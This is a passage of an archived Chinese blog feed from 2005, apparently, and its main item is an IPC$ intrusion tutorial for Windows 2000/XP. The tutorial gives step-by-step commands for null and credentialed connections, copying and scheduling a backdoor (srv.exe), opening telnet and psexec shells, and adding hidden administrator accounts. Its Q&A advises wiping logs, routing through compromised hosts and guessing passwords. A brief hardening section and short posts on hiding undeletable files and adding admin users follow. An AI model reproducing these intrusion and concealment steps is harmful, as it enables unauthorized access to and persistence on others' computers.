<P><FONT size=2><BR>十 如何打开目标的IPC$共享以及其他共享</FONT><FONT size=2><BR>目标的ipc$不是轻易就能打开的，否则就要天下打乱了。你需要一个admin权限的shell，比如telnet，木马，cmd重定向等，然后在shell下执行：<BR>net share ipc$<BR>开放目标的ipc$共享；<BR>net share ipc$ /del<BR>关闭目标的ipc$共享；如果你要给它开共享文件夹，你可以用：<BR>net share xinxin=c:\<BR>这样就把它的c盘开为共享名为xinxin共享文件夹了。（可是我发现很多人错误的认为开共享文件夹的命令是net share c$，还大模大样的给菜鸟指指点点，真是误人子弟了）。再次声明，这些操作都是在shell下才能实现的。</FONT></P>
<P><FONT size=2><BR>十一 一些需要shell才能完成的命令</FONT><FONT size=2><BR>看到很多教程这方面写的十分不准确，一些需要shell才能完成命令就简简单单的在ipc$连接下执行了，起了误导作用。那么下面我总结一下需要在shell才能完成的命令：</FONT></P>
<P><FONT size=2>1 向远程主机建立用户，激活用户，修改用户密码，加入管理组的操作需要在shell下完成；</FONT></P>
<P><FONT size=2>2 打开远程主机的ipc$共享，默认共享，普通共享的操作需要在shell下完成；</FONT></P>
<P><FONT size=2>3 运行/关闭远程主机的服务，需要在shell下完成；</FONT></P>
<P><FONT size=2>4 启动/杀掉远程主机的进程，也需要在shell下完成（用软件的情况下除外，如pskill）。</FONT></P>
<P><FONT size=2><BR>十二 入侵中可能会用到的命令<BR></FONT><FONT size=2>为了这份教程的完整性，我列出了ipc$入侵中的一些常用命令，如果你已经掌握了这些命令，你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程，如果只适用于本地，你只能在获得远程主机的shell（如cmd，telnet等）后，才能向远程主机执行。</FONT></P>
<P><FONT size=2><BR>1 建立/删除ipc$连接的命令</FONT></P>
<P><FONT size=2>1）建立空连接:<BR>net use \\127.0.0.1\ipc$ "" /user:"" </FONT></P>
<P><FONT size=2>2）建立非空连接:<BR>net use \\127.0.0.1\ipc$ "密码" /user:"用户名" </FONT></P>
<P><FONT size=2>3）删除连接:<BR>net use \\127.0.0.1\ipc$ /del</FONT></P>
<P><FONT size=2><BR>2 在ipc$连接中对远程主机的操作命令</FONT></P>
<P><FONT size=2>1） 查看远程主机的共享资源（看不到默认共享）:<BR>net view \\127.0.0.1 </FONT></P>
<P><FONT size=2>2） 查看远程主机的当前时间:<BR>net time \\127.0.0.1 </FONT></P>
<P><FONT size=2>3） 得到远程主机的netbios用户名列表:<BR>nbtstat -A 127.0.0.1 </FONT></P>
<P><FONT size=2>4）映射/删除远程共享:<BR>net use z: \\127.0.0.1\c <BR>此命令将共享名为c的共享资源映射为本地z盘 </FONT></P>
<P><FONT size=2>net use z: /del <BR>删除映射的z盘，其他盘类推</FONT></P>
<P><FONT size=2>5）向远程主机复制文件:<BR>copy 路径\文件名 \\IP\共享目录名，如：<BR>copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内<BR>当然，你也可以把远程主机上的文件复制到自己的机器里：<BR>copy \\127.0.0.1\c$\xinxin.exe c:\</FONT></P>
<P><FONT size=2>6）远程添加计划任务:<BR>at \\IP 时间 程序名 如：<BR>at \\127.0.0.0 11:00 xinxin.exe<BR>注意：时间尽量使用24小时制；如果你打算运行的程序在系统默认搜索路径（比如system32/）下则不用加路径，否则必须加全路径</FONT></P>
<P><FONT size=2><BR>3 本地命令</FONT></P>
<P><FONT size=2>1）查看本地主机的共享资源（可以看到本地的默认共享）<BR>net share</FONT></P>
<P><FONT size=2>2）得到本地主机的用户列表<BR>net user</FONT></P>
<P><FONT size=2>3）显示本地某用户的帐户信息<BR>net user 帐户名</FONT></P>
<P><FONT size=2>4）显示本地主机当前启动的服务<BR>net start </FONT></P>
<P><FONT size=2>5）启动/关闭本地服务<BR>net start 服务名 <BR>net stop 服务名 </FONT></P>
<P><FONT size=2>6）在本地添加帐户<BR>net user 帐户名 密码 /add</FONT></P>
<P><FONT size=2>7）激活禁用的用户<BR>net uesr 帐户名 /active:yes</FONT></P>
<P><FONT size=2>8）加入管理员组<BR>net localgroup administrators 帐户名 /add </FONT></P>
<P><FONT size=2>很显然的是，虽然这些都是本地命令，但如果你在远程主机的shell中输入，比如你telnet成功后输入上面这些命令，那么这些本地输入将作用在远程主机上。</FONT></P>
<P><FONT size=2><BR>4 其他一些命令<BR></FONT><FONT size=2>1）telnet <BR>telnet IP 端口<BR>telnet 127.0.0.0 23</FONT></P>
<P><FONT size=2>2）用opentelnet.exe开启远程主机的telnet<BR>OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port<BR>OpenTelnet.exe \\127.0.0.1 administrator "" 1 90<BR>不过这个小工具需要满足四个要求：<BR>1）目标开启了ipc$共享<BR>2）你要拥有管理员密码和帐号<BR>3）目标开启RemoteRegistry服务，用户就可以更改ntlm认证<BR>4）对仅WIN2K/XP有效</FONT></P>
<P><FONT size=2>3）用psexec.exe一步获得shell，需要ipc管道支持<BR>psexec.exe \\IP -u 管理员帐号 -p 密码 cmd<BR>psexec.exe \\127.0.0.1 -u administrator -p "" cmd</FONT></P>
<P><FONT size=2><BR>十三 对比过去和现今的ipc$入侵</FONT><FONT size=2><BR>既然是对比，那么我就先把过去的ipc$入侵步骤写给大家，都是蛮经典的步骤：</FONT></P>
<P><FONT size=2>[1]<BR>C:\&gt;net use \\127.0.0.1\ipc$ "" /user:admintitrators<BR>\\用扫到的空口令建立连接　　 </FONT></P>
<P><FONT size=2>[2]<BR>c:\&gt;net view \\127.0.0.1<BR>\\查看远程的共享资源</FONT></P>
<P><FONT size=2>[3]<BR>C:\&gt;copy srv.exe \\127.0.0.1\admin$\system32 <BR>\\将一次性后门srv.exe复制到对方的系统文件夹下，前提是admin$开启　　</FONT></P>
<P><FONT size=2>[4]<BR>C:\&gt;net time \\127.0.0.1 <BR>\\查看远程主机的当前时间</FONT></P>
<P><FONT size=2>[5]<BR>C:\&gt;at \\127.0.0.1 时间 srv.exe <BR>\\用at命令远程运行srv.exe，需要对方开启了'Task Scheduler'服务　　</FONT></P>
<P><FONT size=2>[6]<BR>C:\&gt;net time \\127.0.0.1<BR>\\再次查看当前时间来估算srv.exe是否已经运行，此步可以省略</FONT></P>
<P><FONT size=2>[7]　　　　<BR>C:\&gt;telnet 127.0.0.1 99 <BR>\\开一个新窗口，用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思？那你就把它想象成远程机器的控制权就好了，操作像DOS)，99端口是srv.exe开的一次性后门的端口　　</FONT></P>
<P><FONT size=2>[8]<BR>C:\WINNT\system32&gt;net start telnet<BR>\\我们在刚刚登陆上的shell中启动远程机器的telnet服务，毕竟srv.exe是一次性的后门，我们需要一个长久的后门便于以后访问，如果对方的telnet已经启动，此步可省略</FONT></P>
<P><FONT size=2>[9]<BR>C:\&gt;copy ntlm.exe \\127.0.0.1\admin$\system32<BR>\\在原来那个窗口中将ntlm.exe传过去，ntlm.exe是用来更改telnet身份验证的　　</FONT></P>
<P><FONT size=2>[10]<BR>C:\WINNT\system32&gt;ntlm.exe <BR>\\在shell窗口中运行ntlm.exe，以后你就可以畅通无阻的telnet这台主机了<BR>　　<BR>[11]<BR>C:\&gt;telnet 127.0.0.1 23<BR>\\在新窗口中telnet到127.0.0.1，端口23可省略，这样我们又获得一个长期的后门</FONT></P>
<P><FONT size=2>[12]<BR>C:\WINNT\system32&gt;net user 帐户名 密码 /add<BR>C:\WINNT\system32&gt;net uesr guest /active:yes<BR>C:\WINNT\system32&gt;net localgroup administrators 帐户名 /add<BR>\\telnet上以后，你可以建立新帐户，激活guest，把任何帐户加入管理员组等</FONT></P>
<P><FONT size=2>好了，写到这里我似乎回到了2，3年前，那时的ipc$大家都是这么用的，不过随着新工具的出现，上面提到的一些工具和命令现在已经不常用到了，那就让我们看看现在的高效而简单的ipc$入侵吧。</FONT></P>
<P><FONT size=2>[1]<BR>psexec.exe \\IP -u 管理员帐号 -p 密码 cmd <BR>\\用这个工具我们可以一步到位的获得shell</FONT></P>
<P><FONT size=2>OpenTelnet.exe \\server 管理员帐号 密码 NTLM的认证方式 port<BR>\\用它可以方便的更改telnet的验证方式和端口，方便我们登陆</FONT></P>
<P><FONT size=2>[2]<BR>已经没有第二步了，用一步获得shell之后，你做什么都可以了，安后门可以用winshell，克隆就用ca吧，开终端用3389.vbe，记录密码用win2kpass，总之好的工具不少，随你选了，我就不多说了。</FONT></P>
<P><FONT size=2><BR>十四 如何防范ipc$入侵</FONT><FONT size=2>察看本地共享资源<BR>运行-cmd-输入net share<BR>删除共享(每次输入一个）<BR>net share ipc$ /delete<BR>net share admin$ /delete<BR>net share c$ /delete<BR>net share d$ /delete（如果有e,f,……可以继续删除）</FONT></P>
<P><FONT size=2>1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)</FONT></P>
<P><FONT size=2>运行regedit，找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：1<BR>如果设置为"1"，一个匿名用户仍然可以连接到IPC$共享，但无法通过这种连接得到列举SAM帐号和共享信息的权限；在Windows 2000 中增加了"2"，未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在，就新建一个再改键值。如果你觉得改注册表麻烦，可以在本地安全设置中设置此项： 在本地安全设置－本地策略－安全选项－'对匿名连接的额外限制'</FONT></P>
<P><FONT size=2><BR>2 禁止默认共享</FONT></P>
<P><FONT size=2>1）察看本地共享资源<BR>运行-cmd-输入net share</FONT></P>
<P><FONT size=2>2）删除共享（重起后默认共享仍然存在）<BR>net share ipc$ /delete<BR>net share admin$ /delete<BR>net share c$ /delete<BR>net share d$ /delete（如果有e,f,……可以继续删除）</FONT></P>
<P><FONT size=2>3）停止server服务<BR>net stop server /y （重新启动后server服务会重新开启）</FONT></P>
<P><FONT size=2>4）禁止自动打开默认共享（此操作并不能关闭ipc$共享） <BR>运行-regedit</FONT></P>
<P><FONT size=2>server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 </FONT></P>
<P><FONT size=2>pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 <BR>这两个键值在默认情况下在主机上是不存在的，需要自己手动添加，修改后重起机器使设置生效。</FONT></P>
<P><FONT size=2><BR>3 关闭ipc$和默认共享依赖的服务:server服务<BR>如果你真的想关闭ipc$共享，那就禁止server服务吧：<BR>控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-选已禁用，这时可能会有提示说：XXX服务也会关闭是否继续，因为还有些次要的服务要依赖于server服务，不要管它。 </FONT></P>
<P><FONT size=2><BR>4 屏蔽139，445端口 <BR>由于没有以上两个端口的支持，是无法建立ipc$的，因此屏蔽139，445端口同样可以阻止ipc$入侵。</FONT></P>
<P><FONT size=2>1）139端口可以通过禁止NBT来屏蔽<BR>本地连接－TCP/IT属性－高级－WINS－选‘禁用TCP/IT上的NETBIOS’一项</FONT></P>
<P><FONT size=2>2）445端口可以通过修改注册表来屏蔽<BR>添加一个键值<BR>Hive: HKEY_LOCAL_MACHINE<BR>Key: System\Controlset\Services\NetBT\Parameters<BR>Name: SMBDeviceEnabled <BR>Type: REG_DWORD<BR>Value: 0<BR>修改完后重启机器<BR>注意：如果屏蔽掉了以上两个端口，你将无法用ipc$入侵别人。 </FONT></P>
<P><FONT size=2>3）安装防火墙进行端口过滤</FONT></P>
<P><FONT size=2><BR>6 设置复杂密码，防止通过ipc$穷举出密码，我觉得这才是最好的办法，增强安全意识，比不停的打补丁要安全的多。</FONT></P>
<P><FONT size=2><BR>十五 ipc$入侵问答精选</FONT><FONT size=2><BR>1.进行ipc$入侵的时候，会在服务器中留下记录，有什么办法可以不让服务器发现吗？</FONT></P>
<P><FONT size=2>答：留下记录是一定的，你走后用清除日志程序删除就可以了，或者用肉鸡入侵。</FONT></P>
<P><FONT size=2><BR>2.你看下面的情况是为什么，可以连接但不能复制<BR>net use \\***.***.***.***\ipc$ "密码" /user:"用户名"<BR>命令成功<BR>copy icmd.exe \\***.***.***.***\admin$<BR>找不到网络路径<BR>命令不成功</FONT></P>
<P><FONT size=2>答：像“找不到网络路径”“找不到网络名”之类的问题，大多是因为你想要复制到的共享文件夹没有开启，所以在复制的时候会出现错误，你可以试着找找其他的共享文件夹。</FONT></P>
<P><FONT size=2><BR>3.如果对方开了IPC$，且能建立空联接，但打开C、D盘时，都要求密码，我知道是空连接没有太多的权限，但没别的办法了吗？</FONT></P>
<P><FONT size=2>答：建议先用流光或者别的什么扫描软件试着猜解一下密码，如果猜不出来，只能放弃，毕竟空连接的能力有限。</FONT></P>
<P><FONT size=2><BR>4.我已经猜解到了管理员的密码，且已经ipc$连接成功了，但net view \\ip发现它没开默认共享，我该怎么办？</FONT></P>
<P><FONT size=2>答：首先纠正你的一个错误，用net view \\ip是无法看到默认共享的，你可以试着将文件复制到c$，d$看看，如果都不行，说明他关闭了默认共享，那你就用opentelnet.exe或psexec.exe吧，用法上面有。</FONT></P>
<P><FONT size=2><BR>5.ipc$连接成功后，我用下面的命令建立了一个帐户，却发现这个帐户在我自己的机器上，这是怎么回事？<BR>net uset ccbirds /add</FONT></P>
<P><FONT size=2>答：ipc$建立成功只能说明你与远程主机建立了通信隧道，并不意味你取得了一个shell，只有在获得一个shell（比如telnet）之后，你才能在远程机器建立一个帐户，否则你的操作只是在本地进行。</FONT></P>
<P><FONT size=2><BR>6.我已进入了一台肉机，用的管理员帐号，可以看他的系统时间，但是复制程序到他的机子上却不行，每次都提示“拒绝访问，已复制0个文件”，是不是对方有什么服务没开，我该怎么办？</FONT></P>
<P><FONT size=2>答：一般来说“拒绝访问”都是权限不够的结果，可能是你用的帐户有问题，还有一种可能，如果你想向普通共享文件夹复制文件却返回这个错误，说明这个文件夹设置的允许访问用户中不包括你（哪怕你是管理员），这一点我在上一期文章中分析了。</FONT></P>
<P><FONT size=2><BR>7.我用Win98能与对方建立ipc$连接吗？</FONT></P>
<P><FONT size=2>答：理论上不可以，要进行ipc$的操作，建议用win2000，用其他操作系统会带来许多不必要的麻烦。</FONT></P>
<P><FONT size=2><BR>8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话，但用nbtstat -A IP 却无法导出用户列表，这是为什么？</FONT></P>
<P><FONT size=2>答：空会话在默认的情况下是可以导出用户列表的，但如果管理员通过修改注册表来禁止导出列表，就会出现你所说的情况；还有可能是你自己的NBT没有打开，netstat命令是建立在NBT之上的。　　</FONT></P>
<P><FONT size=2><BR>9.我建立ipc$连接的时候返回如下信息：‘提供的凭据与已存在的凭据集冲突’，怎么回事？</FONT></P>
<P><FONT size=2>答：呵呵，这说明你已经与目标主机建立了ipc$连接，两个主机间同时建立两个ipc$连接是不允许的。</FONT></P>
<P><FONT size=2><BR>10.我在映射的时候出现：<BR>F:\&gt;net use h: \\211.161.134.*\e$<BR>系统发生 85 错误。<BR>本地设备名已在使用中。这是怎么回事？</FONT></P>
<P><FONT size=2>答：你也太粗心了吧，这说明你有一个h盘了，映射到没有的盘符吧！</FONT></P>
<P><FONT size=2><BR>11.我建立了一个连接f:\&gt;net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了，但当我映射时出现了错误，向我要密码，怎么回事？<BR>F:\&gt;net use h: \\*.*.*.*\c$<BR>密码在 \\*.*.*.*\c$ 无效。<BR>请键入 \\*.*.*.*\c$ 的密码:<BR>系统发生 5 错误。<BR>拒绝访问。</FONT></P>
<P><FONT size=2>答：呵呵，向你要密码说明你当前使用的用户权限不够，不能映射C$这个默认共享，想办法提升权限或者找管理员的弱口令吧！默认共享一般是需要管理员权限的。</FONT></P>
<P><FONT size=2><BR>12.我用superscan扫到了一个开了139端口的主机，但为什么不能空连接呢？</FONT></P>
<P><FONT size=2>答：你混淆了ipc$与139的关系，能进行ipc$连接的主机一定开了139或445端口，但开这两个端口的主机可不一定能空连接，因为对方可以关闭ipc$共享.</FONT></P>
<P><FONT size=2><BR>13.我门局域网里的机器大多都是xp，我用流光扫描到几个administrator帐号口令是空，而且可以连接，但不能复制东西，说错误5。请问为什么？</FONT></P>
<P><FONT size=2>答：xp的安全性要高一些，在安全策略的默认设置中，对本地帐户的网络登录进行身份验证的时候，默认为来宾权限，即使你用管理员远程登录，也只具有来宾权限，因此你复制文件，当然是错误5：权限不够。</FONT></P>
<P><FONT size=2><BR>14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功，可是 net use i: \\192.168.0.2\c<BR>出现请键入 \\192.168.0.2 的密码，怎么回事情呢？我用的可是管理员呀？应该什么都可以访问呀？</FONT></P>
<P><FONT size=2>答：虽然你具有管理员权限，但管理员在设置c盘共享权限时（注意：普通共享可以设置访问权限，而默认共享则不能）可能并未设置允许administrator访问，所以会出现上述问题。</FONT></P>
<P><FONT size=2><BR>15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$连接别的机器？如果禁止server服务呢？</FONT></P>
<P><FONT size=2>答：禁止以上两项仍可以发起ipc$连接，不过这种问题自己动手试验会更好。</FONT></P>
<P><FONT size=2><BR>16.能告诉我下面的两个错误产生的原因吗？<BR>c:\&gt;net time \\61.225.*.*<BR>系统发生 5 错误。<BR>拒绝访问。</FONT></P>
<P><FONT size=2>c:\&gt;net view \\61.225.*.*<BR>系统发生 5 错误。<BR>拒绝访问。</FONT></P>
<P><FONT size=2>答：起初遇到这个问题的时候我也很纳闷，错误5表示权限不够，可是连空会话的权限都可以完成上面的两个命令，他为什么不行呢？难道是他没建立连接？后来那个粗心的同志告诉我的确是这样，他忘记了自己已经删了ipc$连接，之后他又输入了上面那两个命令，随之发生了错误5。</FONT></P>
<P><FONT size=2><BR>17.您看看这是怎么回事？<BR>F:\&gt;net time<BR>找不到时间服务器。<BR>请键入 NET HELPMSG 3912 以获得更多的帮助。</FONT></P>
<P><FONT size=2>答：答案很简单，你的命令错了，应该是net time \\ip<BR>没输入ip地址，当然找不到服务器。view的命令也应该有ip地址，即：net view \\ip</FONT></P>
<HR><img src ="http://www.blogjava.net/RR00/aggbug/22795.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-06 22:30 <a href="http://www.blogjava.net/RR00/articles/22795.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>隐藏文件</title><link>http://www.blogjava.net/RR00/articles/22488.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sun, 04 Dec 2005 17:07:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/22488.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/22488.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/22488.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/22488.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/22488.html</trackback:ping><description><![CDATA[<P>G:\&gt;mkdir key..\<FONT style="BACKGROUND-COLOR: #f5f5dc">（建立目录key..\,无法删除/打开）</FONT></P>
<P>G:\&gt;copy a key..\<BR>已复制&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 个文件。</P>
<P>G:\&gt;del a<FONT style="BACKGROUND-COLOR: #f5f5dc">（删除a文件，这样看不到，搜索也找不到）</FONT></P>
<P>G:\&gt;type key..\a<FONT style="BACKGROUND-COLOR: #f5f5dc">（可以这样查看a的内容，）<BR></FONT><BR>G:\&gt;copy key..\a g<FONT style="BACKGROUND-COLOR: #f5f5dc">:(或者复制出来)<BR></FONT><BR><FONT style="BACKGROUND-COLOR: #f5f5dc">这样可以隐藏文件，别人看不到也删不掉，除非用rmdir key..\ /s删除.</FONT></P><img src ="http://www.blogjava.net/RR00/aggbug/22488.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-05 01:07 <a href="http://www.blogjava.net/RR00/articles/22488.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NET</title><link>http://www.blogjava.net/RR00/articles/22487.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sun, 04 Dec 2005 16:58:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/22487.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/22487.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/22487.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/22487.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/22487.html</trackback:ping><description><![CDATA[<P><FONT style="BACKGROUND-COLOR: #ffffff">D:\Documents and Settings\Administrator&gt;net user a a /add<BR>命令成功完成。</FONT></P>
<P><BR><FONT style="BACKGROUND-COLOR: #ffffff">D:\Documents and Settings\Administrator&gt;net localgroup administrators a /add<BR>命令成功完成。</FONT></P><img src ="http://www.blogjava.net/RR00/aggbug/22487.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-05 00:58 <a href="http://www.blogjava.net/RR00/articles/22487.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>